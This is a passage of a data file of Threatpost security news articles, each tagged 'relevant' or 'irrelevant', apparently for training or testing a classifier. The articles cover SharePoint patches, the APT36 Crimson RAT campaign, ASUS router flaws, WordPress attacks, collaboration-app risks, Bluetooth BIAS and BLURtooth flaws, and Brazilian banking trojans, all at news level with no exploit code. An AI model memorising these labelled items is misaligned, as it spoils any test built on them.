Microsoft SharePoint Server 2019; and CVE-2020-0974 affects Microsoft SharePoint Enterprise Server 2016 and Microsoft SharePoint Server 2019. For all of the RCE bugs, “an attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account,” Microsoft said in the individual bug advisories. An attacker could exploit any of them by uploading a specially crafted SharePoint application package to an affected version of SharePoint. SharePoint also harbors a fifth critical bug, CVE-2020-0927. This is an XSS flaw that affects Microsoft SharePoint Server 2019 and Enterprise Server 2016 and would allow spoofing. Not One to Skip Amidst WFH Even though IT and security organizations are already strained with the added stress of the sudden shift to remote working in the face of the coronavirus pandemic, April’s Patch Tuesday is not one to skip, Richard Melick, senior technical product manager at Automox, told Threatpost — least of all given the four actively exploited bugs. “From increasingly diverse technological environments to a list of unknown connectivity factors, IT and SecOps managers need to create a deployment plan that addresses today’s zero-day, exploited and critical vulnerabilities within 24 hours and the rest within 72 hours in order to stay ahead of weaponization,” he advised. “Hackers are not taking time off; they are working just as hard as everyone else.” Melick also said that the consequences of exploitation could be exacerbated given the work-from-home (WFH) lapses in security that may be present. “With today’s remote workforce environment and the necessity of sharing documents through email or file share, all it takes is one phishing email, malicious website or exploited document to open the door for an attacker,” he said. “Once in, a malicious party would have the ability to modify data, install backdoors or new software, or gain full user rights accounts. While older versions of Windows are more susceptible to both exploits, the adoption rate of Windows 10 is only a little above 50 percent, leaving more than enough targets for attackers.” Teams should be ready for plenty of overhead in terms of the patching work involved, added Jonathan Cran, head of research at Kenna Security. “Given the shift to remote work for many organizations in combination with the current patch load from Oracle’s update earlier this week and what looks like a backlog of patching, this looks like a busy month for many security teams,” Cran told Threatpost. “We have yet to see how work from home impacts patching rates, but for security teams, installing numerous patches on remote employee laptops, likely via a corporate VPN to the Windows Server Update Services or Microsoft System Center Configuration Manager, will be a resource- and time-intensive endeavor.”",relevant
"APT36 Taps Coronavirus as ‘Golden Opportunity’ to Spread Crimson RAT The Pakistani-linked APT has been spotted infecting victims with data exfiltration malware. A Pakistani-linked threat actor, APT36, has been using a decoy health advisory that taps into global panic around the coronavirus pandemic to spread the Crimson RAT. The functionalities of the Crimson RAT include stealing credentials from victims’ browsers, capturing screenshots, collecting anti-virus software information, and listing the running processes, drives and directories from victim machines. The use of such data exfiltration capabilities are common for APT36 (also known as Transparent Tribe, ProjectM, Mythic Leopard, and TEMP.Lapis), active since 2016. “APT36 is believed to be a Pakistani state-sponsored threat actor mainly targeting the defense, embassies, and the government of India,” said researchers with Malwarebytes in a Monday analysis. “APT36 performs cyber-espionage operations with the intent of collecting sensitive information from India that supports Pakistani military and diplomatic interests.” Researchers said that previous APT36 campaigns have mainly relied on both spear phishing and watering hole attacks to gain its foothold on victims. This most recent phishing email attaches a malicious macro document that targets vulnerabilities in RTF (Rich Text Format) files, such as CVE-2017-0199. This is a high-severity Microsoft vulnerability, which allows a bad actor to execute Visual Basic script when a user opens a malicious Microsoft Office RTF document. The email pretends to be from the government of India (email.gov.in.maildrive[.]email/?att=1579160420) and contains a “Health Advisory” regarding the coronavirus pandemic. Once victims click on the attached malicious document and enable macros, the Crimson RAT is dropped. crimson RAT APT36The malicious macro first creates two directories with the names “Edlacar” and “Uahaiws” and then checks the OS type. Based on the OS type, the macro then picks either a 32-bit or 64-bit version of its RAT payload in zip format, which is stored in one of the two textboxes in UserForm1. Then, it drops the zip payload into the “Uahaiws” directory and unzips its content (using the “UnAldizip” function), dropping the RAT payload into the Edlacar directory. Finally, it calls the Shell function to execute the payload. Once downloaded, Crimson RAT connects to its hardcoded command and control (C2) IP addresses and sends collected information about the victim back to the server. That data includes a list of running processes and their IDs, the machine hostname, and its username. Researchers said that APT36 has used many different RAT strains in the past – including such as remote administration tool DarkComet, Luminosity RAT, and njRAT. “In past campaigns, they were able to compromise Indian military and government databases to steal sensitive data, including army strategy and training documents, tactical documents, and other official letters,” said researchers. “They also were able to steal personal data, such as passport scans and personal identification documents, text messages, and contact details.” Coronavirus has been utilized by various APTs over the last week to infect victims with malware. Last week a Chinese APT group was spotted leveraging COVID-19 to infect Mongolian victims with a previously unknown malware, in a campaign researchers called “Vicious Panda.” Beyond that attackers continue to leverage coronavirus-themed cyberattacks as panic around the global pandemic continues – including malware attacks, booby-trapped URLs and credential-stuffing scams. Researchers said that making employees aware of these ongoing scams is key – particularly with more businesses moving to a work from home model in response to the coronavirus pandemic. “Since the coronavirus became a worldwide health issue, the desire for more information and guidance from government and health authorities has reached a fever pitch,” said researchers. “This is a golden opportunity for threat actors to capitalize on fear, spread misinformation, and generate mass hysteria—all while compromising victims with scams or malware campaigns.”",irrelevant
"ASUS Home Router Bugs Open Consumers to Snooping Attacks The two flaws allow man-in-the-middle attacks that would give an attacker access to all data flowing through the router. A pair of flaws in ASUS routers for the home could allow an attacker to compromise the devices – and eavesdrop on all of the traffic and data that flows through them. The bugs are specifically found in the RT-AC1900P whole-home Wi-Fi model, within the router’s firmware update functionality. Originally uncovered by Trustwave, ASUS has issued patches for the bugs, and owners are urged to apply the updates as soon as they can. The first issue (CVE-2020-15498) stems from a lack of certificate checking. The router uses GNU Wget to fetch firmware updates from ASUS servers. It’s possible to log in via SSH and use the Linux/Unix “grep” command to search through the filesystem for a specific string that indicates that the vulnerability is present: “–no-check-certificate.” In vulnerable versions of the router, the files containing that string are shell scripts that perform downloads from the ASUS update servers, according to Trustwave’s advisory, issued on Thursday. This string indicates that there’s no certificate checking, so an attacker could use untrusted (forged) certificates to force the install of malicious files on the targeted device. An attacker would need to be connected to the vulnerable router to perform a man in the middle attack (MITM), which would allow that person complete access to all traffic going through the device. The latest firmware eliminates the bug by not using the Wget option anymore. The second bug (CVE-2020-15499) is a cross-site scripting (XSS) vulnerability in the Web Management interface related to firmware updates, according to Trustwave. “The release notes page did not properly escape the contents of the page before rendering it to the user,” explained the firm. “This means that a legitimate administrator could be attacked by a malicious party using the first MITM finding and chaining it with arbitrary JavaScript code execution.” ASUS fixed this in the latest firmware so that the release notes page no longer renders arbitrary contents verbatim. “Since routers like this one typically define the full perimeter of a network, attacks targeting them can potentially affect all traffic in and out of your network,” warned Trustwave. ASUS patched the issues in firmware version 3.0.0.4.385_20253. The bug disclosure comes less than two weeks after a bombshell security review of 127 popular home routers found most contained at least one critical security flaw, according to researchers. Not only did all of the routers the researchers examined have flaws, many “are affected by hundreds of known vulnerabilities,” the researchers said. On average, the routers analyzed–—by vendors such as D-Link, Netgear, ASUS, Linksys, TP-Link and Zyxel—were affected by 53 critical-rated vulnerabilities (CVE), with even the most “secure” device of the bunch having 21 CVEs, according to the report. Researchers did not list the specific vulnerabilities.",relevant
"Attackers Target 1M+ WordPress Sites To Harvest Database Credentials An attack over the weekend unsuccessfully targeted 1.3 million WordPress websites, in attempts to download their configuration files and harvest database credentials. Attackers were spotted targeting over one million WordPress websites in a campaign over the weekend. The campaign unsuccessfully attempted to exploit old cross-site scripting (XSS) vulnerabilities in WordPress plugins and themes, with the goal of harvesting database credentials. The attacks were aiming to download wp-config.php, a file critical to all WordPress installations. The file is located in the root of WordPress file directories and contains websites’ database credentials and connection information, in addition to authentication unique keys and salts. By downloading the sites’ configuration files, an attacker would gain access to the site’s database, where site content and credentials are stored, said researchers with Wordfence who spotted the attack. Between May 29 and May 31, researchers observed (and were able to block) over 130 million attacks targeting 1.3 million sites. “The peak of this attack campaign occurred on May 30, 2020,” said Wordfence researchers on Wednesday. “At this point, attacks from this campaign accounted for 75 percent of all attempted exploits of plugin and theme vulnerabilities across the WordPress ecosystem.” Researchers linked the threat actor in this incident to an attack earlier in May previously targeting XSS vulnerabilities. These previous campaigns, which began on April 28, attempted to inject a malicious JavaScript into websites, that would then redirect visitors and take advantage of an administrator’s session to insert a backdoor into the theme’s header. “After further investigation, we found that this threat actor was also attacking other vulnerabilities, primarily older vulnerabilities allowing them to change a site’s home URL to the same domain used in the XSS payload in order to redirect visitors to malvertising sites,” researchers said at the time. wordpress attack That campaign sent attacks from over 20,000 different IP addresses, said researchers. This most recent campaign is using the same IP addresses, which accounted for the majority of the attacks and sites targeted, leading researchers to link the two campaigns. The more recent campaign has also expanded in its targeting, researchers said, now reaching nearly a million new sites that weren’t included in the previous XSS campaign. As with the XSS campaigns, almost all of the attacks are targeted at older vulnerabilities in outdated plugins or themes that allow files to be downloaded or exported. While hundreds of exploits are being attempted, researchers told Threatpost that among the CVEs being most frequently used are CVE-2014-9734, CVE-2015-9406, CVE-2015-5468 and CVE-2019-9618. The attacker appears to be systematically scraping exploit-db.com and other sources for potential exploits – and then running them against a list of sites, researchers told Threatpost. “Most of them are in themes or plugins designed to allow file downloads by reading the content of a file provided in a query string and then serving it up as a downloadable attachment,” said Ram Gall, with Wordfence. Researchers said websites that may have been compromised must change their database password and authentication unique keys and salts immediately. “If your server is configured to allow remote database access, an attacker with your database credentials could easily add an administrative user, exfiltrate sensitive data, or delete your site altogether. Even if your site does not allow remote database access, an attacker who knows your site’s authentication keys and salts may be able to use them to more easily bypass other security mechanisms.” Researchers also urged users to ensure that their plugins are updated, as vulnerabilities in WordPress plugins and themes continue to be an issue. A few weeks ago, for instance, researchers disclosed two flaws in Page Builder by SiteOrigin, a WordPress plugin with a million active installs that’s used to build websites via a drag-and-drop function. Both security bugs can lead to cross-site request forgery (CSRF) and XSS. In this recent campaign, many of the flaws had patches available – but users had not updated, leaving their websites vulnerable: “Nonetheless, we urge you to make sure that all plugins and themes are kept up to date, and to share this information with any other site owners or administrators you know,”said researchers. “Attacks by this threat actor are evolving and we will continue to share additional information as it becomes available.”",relevant
"Beyond Zoom: How Safe Are Slack and Other Collaboration Apps? COVID-19’s effect on work footprints has created an unprecedented challenge for IT and security staff. Many departments are scrambling to enable collaboration apps for all — but without proper security they can be a big risk. As the coronavirus pandemic continues to worsen, remote-collaboration platforms – now fixtures in many workers’ “new normal” – are facing more scrutiny. Popular video-conferencing app Zoom may currently be in the cybersecurity hot seat, but other collaboration tools, such as Slack, Trello, WebEx and Microsoft Teams, are certainly not immune from cybercriminal attention. For organizations leaning on these platforms, security should be top of mind. A failure to lock down Slack et al could lead to data breaches, brand damage, malware infestations and more. Researchers say that attackers are hard at work looking for new weaknesses to achieve all of the latter. Fortunately though, best practices can go a long way to shrinking the risk. Collaboration App Security Bugs: Not Hypothetical The risk posed by collaboration platforms is far from hypothetical. In March, for example a critical vulnerability was found in Slack, which could allow automated account takeovers (ATOs) and lead to data breaches. According to a HackerOne bug-bounty report, a HTTP Request Smuggling bug, in a proof-of-concept, was used to force open-redirects within Slack, leading users to a rogue client outfitted with Slack domain cookies. When victims attached to the malicious client, their session cookies could be harvested and later used to take over accounts. The attack could also be automated. “Automated account takeover attacks, like Slack just had to deal with, are pervasive,” said Jason Kent, hacker-in-residence at Cequence, in an interview. “We see these takeover attempts all the time. The attackers learn a login or password recovery workflow and start the attack on the logins they know are valid. Most of the time these attacks have been automated utilizing bots to take over as many accounts as possible.” August 21, 2019 San Francisco / USA - Slack Technologies, Inc. sign at their HQ in SOMA district; Slack (its main product) is a cloud-based set of collaboration software tools and online services Aside from Slack, Cisco WebEx has had its share of security flaws. In March, Cisco patched two high-severity vulnerabilities in the video-conferencing platform, which if exploited could allow an attacker to execute code on affected systems. And earlier in the year, it addressed a bug that would let strangers barge in on password-protected meetings – no authentication necessary — presenting a serious data-exposure concern. And of course, there’s Zoom – which has gained widespread popularity for personal and work use since stay-at-home orders went into effect across the country. The company has faced an onslaught of security woes in the last two weeks, including a pair of zero-days and various privacy problems. Attack Vectors: Social Engineering, Credential Stuff… Apart from exploiting security bugs, cybercriminals have other attack vectors when it comes to collaboration. Apps like Slack, Microsoft Teams and others have messaging components that can be used for phishing attacks and to deliver malware payloads through links and attachments, just like email. “External attackers can leverage stolen credentials or conduct brute-force and credential-stuffing attacks to gain access to these platforms,” said Gerrit Lansing, field CTO at Stealthbits, speaking to Threatpost. “They can then compromise the information those credentials provided access to – using it either to complete their mission or for intelligence to attack other targets within the company. They could go so far as to impersonate the employee in conversations, and send malicious attachments to pivot onto an employee’s workstation.” Collaboration apps are also subject to misconfiguration. Popular online collaboration platform Trello for instance, which is used in corporate settings to organize to-do lists and coordinate team tasks, has a problem in that it is indexed by Google if its boards are set to “public.” And, public boards’ specific contents can also be searched using a special search called a “dork.” This setting is surprisingly easy to implement by mistake, researchers said – as evidenced by an incident earlier this year at office-space company Regus. In that case, a Trello board exposed the performance ratings of hundreds of Regus staff. “The Trello incident was due to end users setting their boards to public and not fully realizing how easy it was for someone to search for the public boards,” James McQuiggan, security awareness advocate at KnowBe4, told Threatpost. “The groups that created the boards were posting sensitive information and thus exposing the unnecessary risk to their organization.” If the company’s collaboration platform enables external communication, it can present yet more opportunities for attackers. For instance, “if an attacker were able to get into a developers’ channel inside a retail organization, they might ‘help’ with a problem and actually inject their own flaws,” Kent explained. “Magecart jumps to mind – a person could simply say, ‘can you add this JavaScript file to the next production drop?'” Hacker Technology Internet Content Web Concept Ecosystem Weak Spots There are ecosystem weaknesses too. For instance, Slack offers a software library containing add-ons that can be installed in just a couple of clicks. “An attacker could create a Slack add-on that advertises some great features but also reads channel data,” said Matt Gayford, principal consultant at the Crypsis Group. “If an end user mistakenly installs the add-on, they could expose all Slack channels to the attacker.” In terms of actual attacks, Otavio Freire, CTO and co-founder of SafeGuard Cyber, told Threatpost that coordinated campaigns against corporate instances of collaboration platforms can be difficult to pinpoint, making things challenging for security teams. “The first step to compromising users’ collaboration accounts might initially look like business email compromise (BEC) or social spear-phishing at first,” he explained. As an example, he detailed one attack impacting Slack that his company was involved in mitigating. “Slack’s strength and vulnerability is its connectedness to other apps,” he said. “For one customer, we were brought in because they had an instance where a hiring system was mapped to an HR Slack channel. A resume that was an infected Word doc uploaded to the system, which then pushed a notification to that HR channel, where hundreds of employees opened the document at the same time.” A Cybercriminal Jackpot of Data Cybercriminals are taking advantage of all of these attack vectors, researchers said — for the simple reason that collaboration apps provide a rich repository for data that attackers would consider to be a jackpot. The very term “collaboration” after all means the communication of ideas, concepts and designs between multiple stakeholders. As such, users are putting everything out there, giving a successful attacker unfettered access to potentially very sensitive data, according to Elad Shapira, head of research at Panorays. “The problem is that many companies’ internal data, customer files, internal systems information, credentials and sensitive information can be found on these collaboration platforms,” he told Threatpost. “If criminal hackers were to gain access to the platform due to a password-reuse or a credential-stuffing attack, they would have access to the information discussed, files transferred or other sensitive information for the organization,” added McQuiggan. “If end users openly discuss sensitive information or topics relating to the intellectual property of the organization and attackers gain access, they can collect all the information and exfiltrate with a simple copy-and-paste or download of the files, if shared in the application.” The sheer volume of information being shared on Slack and other platforms – especially in the age of COVID-19 – can be staggering as well. Digital Eavesdropping and Oversharing “There is a lot of data to capture and protect, especially when you include chat messages,” Freire said. “The quantity of chats alone can result in thousands of messages per day…some of our customers are producing 40-70,000 Slack messages per day [and not always work-related]: We’ve heard of HR teams needing to shut down channels where conversations were centered around estimating local coronavirus death tolls. You need a way to surface risks quickly, both in direct messages and in channel discussions.” It’s worth remembering that information shared in chats like those on Teams and Slack, or via document shares, also can lead to compliance violations and legal exposure. For instance, the sender may unaware of all the channel members and may inadvertently expose confidential information to a wider audience than intended, including to external participants. “SharePoint offers the ability to share links anonymously, so that a document can be shared with someone outside the organization without logging in,” Crypsis’ Gayford explained. “If an end user shares a link to a sensitive document by mistake, they could end up exposing the company to regulatory penalties and the cost of investigating and notifying those involved in the data leak – all from sharing the wrong link.” Security Can’t Solve Risky Behavior Given the sheer volume of information being exposed on collaboration platforms along with the very real security concerns that exist, security professionals have their hands full as most corporate workforces transition to these kinds of tools. The coronavirus pandemic has forced legions of users onto tools like Slack and others – but existing security measures don’t always stand up to the shift. “Over the past few weeks, as a result of an unprecedented shift to working from home policies, organizations are finding themselves with little to no security,” said Salah Nassar, vice president of marketing at CipherCloud. “Traditional security measures, of tunneling all the remote users back to headquarters, are not working. For example, many organizations today use on-premises firewalls and proxy solutions to protect cloud apps. This system doesn’t scale – and more importantly, there is a major hole in that architecture. How do you protect data being created in the cloud and shared between clouds if it never touches an endpoint or the network through apps such as Slack, Box, Office 365, etc.?” One glaring issue is the lack of corporate endpoint security for remote devices. “If a bad actor is able to compromise a user account, they have powerful access to get behind company defenses,” said SafeGuard Cyber’s Freire. “In the current work-from-home paradigm, this risk is made more real because computers and devices are now at home and do not have all the firewall and network protection found inside the corporate networks.” Cequence’s Kent added, “These platforms are now running on standard [or personal] equipment that many organizations have trouble keeping patched.” Best Practices to the Rescue To shore up a collaboration-app security footprint, applying principles of zero-trust and network segmentation can all go a long way to reducing companies’ risk, according to researchers. And, of course, routine security practices and end-user education should be applied to collaboration platforms in the same way that they’re used with other company services. On the zero-trust front, security teams need to know and understand and enforce the permissions granted to users, according to Crypsis’ Gayford. “It’s great that employees can readily share documents with teammates, but is that data at risk for being shared outside of the company?” he said. “Don’t over-provision accounts. We want to create an environment where users can quickly share and access data, but we also want to ensure that they can’t access sensitive data.” He added that questions for security teams to ask include things like, do SharePoint users have access to the entire site, or just a specific document library? Do Slack users have access and ownership to their team channels, or do they have access to all channels at the organization? “Organizations need to ensure that the principle of least privilege is being followed so that employees have the access required to perform routine, legitimate activities,” Gayford advised. “And IT teams should only permit the installation of add-ons by administrators and follow a strict review process before implementing.” Network sequestration is equally important. As Freire pointed out, once inside a collaboration platform, a bad actor can pose as a trusted employee to share malicious docs or files to move laterally into other areas on the network. “Depending on how the platform is configured, they may also be able to move into file-sharing apps such as G-suite or SharePoint to gain access to sensitive data,” he explained. Ensuring that lateral movement — even between different channels or conversations on the platform — should be restricted whenever possible. “We’ve helped an insurance firm protect communications across SharePoint, Yammer and Slack for more than 20,000 users,” Freire said. “With automation and machine learning, we consolidated all communications into one platform. Security and compliance policies were extended to all messages to ensure that all content was consistent with internal policies (FINRA, PII and data loss), while capturing full audit trails.” Remember the Basics And clearly, basic security hygiene is always important, and organizations should ensure that collaboration platforms are held to the same standards as other services. This includes requiring that passwords are always be secure and complex; using multi-factor authentication; patching in a timely manner; and applying the same data controls on confidential or sensitive information that would be used for the company’s email platform. Similarly, on the user behavior front, users should be trained to understand what phishing lures could look like within a Slack channel or a Teams chat. Also, creating awareness around what is and is not okay to share on a platform is a foundational security tool too, according to researchers — and can vastly reduce the “jackpot” attractiveness for criminals in compromising an app like Slack. “Organizations will want to have a policy that addresses online data, cloud storage and social media,” KnowBe4’s McQuiggan said. “When using the collaboration platform, it’s advisable to not post sensitive or confidential information, especially from the HR and finance departments, or items relating to the organization’s strategy.” What’s Your Exposure? So ultimately, how safe are Slack and other collaboration apps? The answer comes down to how much effort has been put into locking them down. That effort may be daunting, given that COVID-19’s effect on work footprints has created an unprecedented challenge for IT and security staff. Many departments are scrambling to enable collaboration apps for all, while still juggling plenty of other priorities. Nonetheless, Cequence’s Kent said that it’s important to recognize just how much is at stake with the increased use of Slack, Teams and other such apps — and to take steps to ensure their safety. “Does anyone have an IT team that isn’t overwhelmed right now?” he said. “Everyone is adjusting to 100-percent remote workforces, and having everything originating outside the organization to be pumped in. My advice is this: if you find a security flaw in one of these collaboration services, raise the red flag. It’s better to give everyone the day off while its fixed, than to have a data breach that will be difficult to detect and hard to recover from.”",irrelevant
"Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks The “BLURtooth” flaw allows attackers within wireless range to bypass authentication keys and snoop on devices utilizing implementations of Bluetooth 4.0 through 5.0. A high-severity Bluetooth vulnerability has been uncovered, which could enable an unauthenticated attacker within wireless range to eavesdrop or alter communications between paired devices. The flaw (CVE-2020-15802), discovered independently by researchers at the École Polytechnique Fédérale de Lausanne (EPFL) and Purdue University, is being referred to as “BLURtooth.” The issue exists in the pairing process for Bluetooth 4.0 through 5.0 implementations. This pairing process is called Cross-Transport Key Derivation (CTKD). “Devices… using [CTKD] for pairing are vulnerable to key overwrite, which enables an attacker to gain additional access to profiles or services that are not restricted, by reducing the encryption key strength or overwriting an authenticated key with an unauthenticated key,” according to a security advisory on Wednesday by the Carnegie Mellon CERT Coordination Center. The ‘BLURtooth’ Attack There are two types of Bluetooth protocols related to the attack – the older Bluetooth Classic (also known as Bluetooth Basic Rate/Enhanced Data Rate, or BR/EDR) and newer Bluetooth Low Energy (BLE). While BR/EDR are mainly used for audio applications such as wireless telephone connections, wireless headphones and wireless speakers, BLE is more often seen in wearable devices, smart IoT devices, fitness monitoring equipment and battery-powered accessories such as a keyboard. Threatpost Webinar Promo Bug Bounty Click to Register The process of CTKD is utilized when two dual-mode devices pair with each other – “dual-mode” meaning that they support both BLE and BR/EDR. The process means the devices only need to pair over either BLE or BR/EDR to get the encryption keys – called Link Keys – for both transport types in one go. However, a hole in CTKD makes it possible to lower the “strength” of these Link Key encryption keys (further technical details on where specifically the vulnerability exists within CTKD — as well as specific steps needed to exploit the flaw — are not yet available). That in turn paves the way for an attacker to pair their own devices to the target’s device, with no authentication needed. For this attack to be successful, an attacker would need to be within wireless range of a vulnerable Bluetooth device. That can vary from 330 feet for Bluetooth 4.0 devices, to 800 feet for Bluetooth 5.0. To be vulnerable, a device would need to support both BR/EDR and BLE transports and also support CTKD. It must also permit a pairing or bonding to proceed transparently with no authentication, or a weak key strength, on at least one of the transport types; that allows attackers to interfere between the two transports by impersonating a previously paired device. Thus, it enables their non-authenticated encryption keys to replace the authenticated keys. “If a device spoofing another device’s identity becomes paired or bonded on a transport, and CTKD is used to derive a key which then overwrites a pre-existing key of greater strength or that was created using authentication, then access to authenticated services may occur,” according to a security advisory on Wednesday by the Bluetooth Special Interest Group (SIG), the organization that oversees the development of Bluetooth standards. “This may permit a man-in-the-middle (MITM) attack between devices previously bonded using authenticated pairing when those peer devices are both vulnerable.” The attacker could then sniff out communications between the two devices – allowing them to spy on messages or potentially even alter them. Bluetooth Mitigations The Bluetooth SIG is recommending that potentially vulnerable Bluetooth implementations introduce the restrictions on CTKD that have been mandated in Bluetooth Core Specification versions 5.1 and later. These restrictions prevent the overwrite of an authenticated key or a key of a given length with an unauthenticated key or a key of reduced length. “The Bluetooth SIG is also broadly communicating details on this vulnerability and its remedies to our member companies and is encouraging them to rapidly integrate any necessary patches,” according to Bluetooth. “As always, Bluetooth users should ensure they have installed the latest recommended updates from device and operating system manufacturers.” Several Bluetooth-based attacks have cropped up over the past year. In May, academic researchers uncovered security vulnerabilities in Bluetooth Classic that could have allowed attackers to spoof paired devices and capture sensitive data. In February, meanwhile, a critical vulnerability in the Bluetooth implementation on Android devices was discovered that could allow attackers to launch remote code-execution (RCE) attacks – without any user interaction.",relevant
"Bluetooth Bugs Allow Impersonation Attacks on Legions of Devices A host of unpatched security bugs that allow BIAS attacks affects Bluetooth chips from Apple, Intel, Qualcomm, Samsung and others. Academic researchers have uncovered security vulnerabilities in Bluetooth Classic that allows attackers to spoof paired devices: They found that the bugs allow an attacker to insert a rogue device into an established Bluetooth pairing, masquerading as a trusted endpoint. This allows attackers to capture sensitive data from the other device. The bugs allow Bluetooth Impersonation Attacks (BIAS) on everything from internet of things (IoT) gadgets to phones to laptops, according to researchers at the École Polytechnique Fédérale de Lausanne (EPFL) in Switzerland. The flaws are not yet patched in the specification, though some affected vendors may have implemented workarounds. “We conducted BIAS attacks on more than 28 unique Bluetooth chips (by attacking 30 different devices),” the researchers said. “At the time of writing, we were able to test chips from Cypress, Qualcomm, Apple, Intel, Samsung and CSR. All devices that we tested were vulnerable to the BIAS attack.” The issue lies in the pairing/bonding protocols used in the specification. When two Bluetooth devices are paired for the first time, they exchange a persistent encryption key (the “long-term key”) that will then be stored, so that the endpoints are thereafter bonded and will connect to each other without having to perform the lengthier pairing process every time. For the attacks to be successful, an attacking device would need to be within wireless range of a vulnerable Bluetooth device that has previously established bonding with a remote device with a Bluetooth address known to the attacker. BIAS Bugs The post-pairing connections are enabled because the devices – let’s call them Alice and Bob – perform a background check to make sure both possess the long-term key. This is done using the Legacy Secure Connections or Secure Connections protocols inside the Bluetooth specification, which verify three things: Alice’s Bluetooth address, Bob’s Bluetooth address and the shared long-term key. As the researchers explained in their paper released on Monday, an attacker (let’s call him Charlie) can change his Bluetooth address to mimic either Alice or Bob’s address (uncovered via simple eavesdropping), but he cannot prove the ownership of [the long-term key].” The researchers explained, “this is the fundamental assumption behind Bluetooth’s authentication guarantees, and this assumption should protect against impersonation attacks.” They added, “Both procedures authenticate [the long-term key] using a challenge-response protocol, and the procedure selection depends on Alice and Bob’ supported features. The standard claims that both procedures protect secure connection establishment against impersonation attacks, as an attacker who does not know [the long-term key] cannot provide a correct response to a challenge.” However, several bugs exist in these processes, they found, opening the door for BIAS gambits while that post-pairing connection is being carried out. The problems include: The Bluetooth secure connection establishment is neither encrypted nor integrity-protected; Legacy Secure Connections secure connection establishment does not require mutual authentication; a Bluetooth device can perform a role switch anytime after baseband paging; and devices who paired using Secure Connections can use Legacy Secure Connections during secure connection establishment. There are several attack scenarios that are possible, according to the paper, especially for device pairs that use the older Legacy Secure Connections to bond. For instance, Charlie can establish a connection with Alice pretending to be Bob. Charlie sends a challenge to Alice, and receives a response that’s calculated based on address and long-term key. “As the Bluetooth standard does not mandate [the use of] the legacy authentication procedure mutually while establishing a secure connection, Alice does not have to authenticate that Charlie knows [long-term key],” according to the paper. Another attack scenario involves switching master and slave roles. The master in a pairing is the one that requests the connection. The above attack works when attackers impersonate the requesting side of the relationship. However, they can also impersonate a slave device by maliciously taking advantage of Bluetooth’s role switch procedure. “Bluetooth uses a master-slave medium access protocol, to keep the master and the slave synchronized. The standard specifies that the master and slave roles can be switched any time after baseband paging is completed,” according to the researchers. “This is problematic because Charlie can use this to impersonate the slave device by initiating a role switch and become the master (verifier) before the unilateral authentication procedure is started, and then complete the secure connection establishment without having to authenticate…This feature of Bluetooth was never investigated in a security context, and is thus an entirely novel attack technique.” The devices using the newer and stronger Secure Connections protocol are also vulnerable, specifically to downgrade attacks. “Charlie can pretend that the impersonated device (either Alice or Bob) does not support Secure Connections to downgrade secure connection establishment with the victim to Legacy Secure Connections,” the paper explained. “As a result of the downgrade, Charlie and the victim use the legacy authentication procedure rather than the secure authentication procedure, and Charlie can bypass secure connection establishment authentication.” KNOB Connection The BIAS attacks can also be combined with the Key Negotiation of Bluetooth (KNOB) attack, according to a CERT advisory, which would give an attacker full access to the paired device. KNOB was discovered last August. It occurs when a third party forces two or more victims to agree on an encryption key with as little as one byte of entropy. Once the entropy is reduced, the attacker can brute-force the encryption key and use it to decrypt communications. This would allow a user to “impersonate a Bluetooth device, complete authentication without possessing the link key, negotiate a session key with low entropy, establish a secure connection and brute-force the session key,” according to CERT. An attacker could initiate a KNOB attack on encryption key strength without intervening in an ongoing pairing procedure through an injection attack. If the accompanying KNOB attack is successful, an attacker may gain full access as the remote paired device. If the KNOB attack is unsuccessful, the attacker will not be able to establish an encrypted link but may still appear authenticated to the host. Remediation Forthcoming The Bluetooth Special Interest Group (SIG) said in an advisory that it will be eventually updating the Bluetooth Core Specification to clarify when role switches are permitted, to require mutual authentication in legacy authentication and to recommend checks for encryption-type to avoid a downgrade of secure connections to legacy encryption. “Until this occurs, the Bluetooth SIG is strongly recommending that vendors ensure that reduction of the encryption key length below 7 octets is not permitted, that hosts initiate mutual authentication when performing legacy authentication, that hosts support Secure Connections Only mode when this is possible, and that the Bluetooth authentication not be used to independently signal a change in device trust without first requiring the establishment of an encrypted link,” it said. The researchers said that for now, any standard-compliant Bluetooth device can be expected to be vulnerable. “After we disclosed our attack to industry in December 2019, some vendors might have implemented workarounds for the vulnerability on their devices,” according to the BIAS website. “So the short answer is: if your device was not updated after December 2019, it is likely vulnerable. Devices updated afterwards might be fixed.”",relevant
"Brazil’s Banking Trojans Go Global Four sophisticated malware families are ramping up their techniques and actively spreading to new countries, including the U.S. Malware that is typically used in Brazil is expanding its geography, targeting users in North America, Europe and elsewhere in Latin America. Banking trojans, which steal online banking logins and other financial credentials from unsuspecting victims, are fairly common – but the more sophisticated examples are often pioneered in Brazil. According to Kaspersky researchers, four Brazilian banking-trojan families (Guildma, Javali, Melcoz and Grandoreiro, collectively known as Tetrade) have taken their distribution global, according to a report published on Tuesday. “In the past, Brazilian criminals primarily targeted customers of local financial institutions,” according to the report. “That changed at the beginning of 2011 when a few groups began experimenting with exporting basic trojans abroad. This year, four families known as Tetrade have implemented the necessary innovations to take their distribution worldwide.” The Guildma group, which has been active since 2015, tends to use phishing emails disguised as legitimate business communications or notifications, according to the report. “Most of the phishing messages emulate business requests, packages sent over courier services or any other regular corporate subjects, including the COVID-19 pandemic, but always with a corporate appearance,” researchers noted. What sets it apart though, is its use of innovative evasion techniques, making its malware particularly difficult to detect. “Beginning in 2019, Guildma began to hide the malicious payload within the victim’s system using a special file format,” explained Kaspersky. “In addition, Guildma stores its communication with the control server in an encrypted format on Facebook and YouTube pages. As a result, the communication traffic is difficult to detect as malicious, and because no antivirus blocks either of those websites, it ensures the control server can execute commands uninterrupted.” Guildma has recently become active throughout South America, and in the U.S., Portugal and Spain, the firm said. Meanwhile, the Javali group (active since 2017) has recently spread to Mexico. Like Guildma, it is also spread via phishing emails with malicious attachments, and it has begun using YouTube to host its command-and-control (C2) communications, the report said. In addition, “these emails include an MSI (Microsoft Installer) file with an embedded Visual Basic Script that downloads the final malicious payload from a remote C2; it also uses DLL sideloading and several layers of obfuscation to hide its malicious activities from analysts and security solutions,” explained the researchers. The initial Microsoft Installer downloader contains an embedded custom action that triggers a Visual Basic Script. The script connects to a remote server and then retrieves the second stage of the malware. The third family, Melcoz, has been active since 2018, and is known for malware that, like other banking trojans, steals passwords from browsers and the computer’s memory; but it also includes a module for stealing Bitcoin wallets. It replaces the original wallet information with the cybercriminals’ own, Kaspersky said. Melcoz has now expanded to other places in Latin America. “We found that the group has attacked assets in Chile since 2018 and more recently, in Mexico,” according to researchers. “Still, it is highly probable there are victims in other countries, as some of the targeted banks operate internationally…As these groups speak different languages 